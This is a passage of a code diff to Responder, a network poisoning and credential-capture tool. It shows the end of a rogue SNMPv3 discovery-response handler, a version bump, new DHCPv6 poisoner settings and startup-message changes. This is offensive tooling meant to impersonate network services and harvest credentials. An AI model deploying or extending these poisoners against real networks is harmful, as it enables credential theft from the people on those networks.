global_data.setComponentByPosition(1, univ.Integer(65507)) # max size
global_data.setComponentByPosition(2, univ.OctetString(hexValue='04')) # flags: reportable
global_data.setComponentByPosition(3, univ.Integer(3)) # USM
# Security parameters (USM)
usm_params = univ.Sequence()
usm_params.setComponentByPosition(0, univ.OctetString(hexValue=engine_id.hex())) # engine ID
usm_params.setComponentByPosition(1, univ.Integer(engine_boots))
usm_params.setComponentByPosition(2, univ.Integer(engine_time))
usm_params.setComponentByPosition(3, univ.OctetString('')) # username
usm_params.setComponentByPosition(4, univ.OctetString(hexValue='00' * 12)) # auth params
usm_params.setComponentByPosition(5, univ.OctetString('')) # priv params
# Encode USM params
usm_encoded = encode(usm_params)
from pyasn1.type import tag
# Build Report-PDU with IMPLICIT tagging [8]
# The [8] tag REPLACES the SEQUENCE tag, not wraps it
# VarBind: OID + value
varbind_inner = univ.Sequence()
varbind_inner.setComponentByPosition(0, univ.ObjectIdentifier('1.3.6.1.6.3.15.1.1.4.0'))
varbind_inner.setComponentByPosition(1, univ.Integer(1))
varbind_encoded = encode(varbind_inner)
# VarBindList (SEQUENCE OF)
varbind_list_content = varbind_encoded
varbind_list_bytes = bytes([0x30, len(varbind_list_content)]) + varbind_list_content
# Report-PDU content (without SEQUENCE tag, will use [8] instead)
report_content = b''
# request-id
report_content += encode(univ.Integer(msg_id))
# error-status
report_content += encode(univ.Integer(0))
# error-index
report_content += encode(univ.Integer(0))
# variable-bindings
report_content += varbind_list_bytes
# Tag as [8] IMPLICIT (replaces SEQUENCE tag)
report_pdu_bytes = bytes([0xa8, len(report_content)]) + report_content
# Build scopedPDU as plain SEQUENCE (no [0] tag for plaintext)
# RFC 3412: plaintext msgData is just the ScopedPDU SEQUENCE
scoped_content = b''
# contextEngineID (OCTET STRING)
engine_bytes = bytes.fromhex(engine_id.hex())
scoped_content += bytes([0x04, len(engine_bytes)]) + engine_bytes
# contextName (OCTET STRING, empty)
scoped_content += bytes([0x04, 0x00])
# data (Report-PDU with implicit tag [8])
scoped_content += report_pdu_bytes
# msgData is just a SEQUENCE containing scopedPDU (no [0] tag)
msg_data_bytes = bytes([0x30, len(scoped_content)]) + scoped_content
# Use Any to include raw bytes
msg_data = univ.Any(hexValue=msg_data_bytes.hex())
# Full SNMPv3 message
snmp_msg = univ.Sequence()
snmp_msg.setComponentByPosition(0, univ.Integer(3)) # version snmpv3
snmp_msg.setComponentByPosition(1, global_data)
snmp_msg.setComponentByPosition(2, univ.OctetString(usm_encoded))
snmp_msg.setComponentByPosition(3, msg_data) # msgData with plaintext tag
# Encode and send
response = encode(snmp_msg)
socket.sendto(response, self.client_address)
if settings.Config.Verbose:
print(text('[SNMP] Sent discovery response with engine ID: %s' % engine_id.hex()))
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] Error sending discovery response: %s' % str(e)))

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.1.7.0'
__version__ = 'Responder 3.2.0.0'
class Settings:
@@ -117,15 +117,17 @@ class Settings:
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
self.DHCPv6_On_Off = self.toBool(config.get('Responder Core', 'DHCPv6'))
# Servers
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.MYSQL_On_Off = self.toBool(config.get('Responder Core', 'MYSQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
@@ -159,6 +161,7 @@ class Settings:
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.DHCP_On_Off = options.DHCP_On_Off
self.DHCPv6_On_Off = options.DHCPv6_On_Off
self.Basic = options.Basic
self.Interface = options.Interface
self.OURIP = options.OURIP
@@ -279,6 +282,17 @@ class Settings:
if not os.path.exists(self.Exe_Filename):
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
# DHCPv6 Server Options
try:
self.DHCPv6_Domain = config.get('DHCPv6 Server', 'DHCPv6_Domain')
self.DHCPv6_SendRA = self.toBool(config.get('DHCPv6 Server', 'SendRA'))
self.Bind_To_IPv6 = config.get('DHCPv6 Server', 'BindToIPv6')
except:
# Defaults if section doesn't exist
self.DHCPv6_Domain = ''
self.DHCPv6_SendRA = False
self.Bind_To_IPv6 = ''
# SSL Options
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
self.SSLCert = config.get('HTTPS Server', 'SSLCert')

View File

@@ -492,12 +492,14 @@ def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print('')
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print(' %-27s' % "DHCPv6" + (enabled if settings.Config.DHCPv6_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "Servers:")
@@ -575,4 +577,3 @@ def StartupMessage():
print('')
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")
print(color("[*] ", 2, 1)+"To sponsor Responder: https://paypal.me/PythonResponder")